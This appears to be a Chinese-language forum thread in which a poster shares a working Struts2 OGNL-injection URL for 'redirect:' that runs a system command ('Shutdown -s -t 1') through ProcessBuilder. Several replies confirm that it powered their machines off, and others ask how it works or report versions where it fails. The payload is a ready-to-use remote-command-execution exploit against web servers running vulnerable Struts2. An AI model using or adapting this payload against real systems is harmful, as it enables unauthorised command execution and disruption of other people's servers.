看看你的struts2有漏洞能关机不。

Question

本地windows主机,仅供测试

http://localhost:8080/context/aa.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'Shutdown','-s','-t','1'})).start()}

Answer 1

还真的关了

Answer 2

Answer 3

struts2为什么要有这样的功能呢？

Answer 4

我的struts2.0.9 貌似无效啊。

Answer 5

晕，测试时把1改成1000呀

Answer 6

对 webwork 无效

Answer 7

....这样都可以.什么原因呢?.传段java源代码,,怎么编译的的怎么执行的呢..

Answer 8

无情的关机了...

Answer 9

会关。。关机后重新开机路过。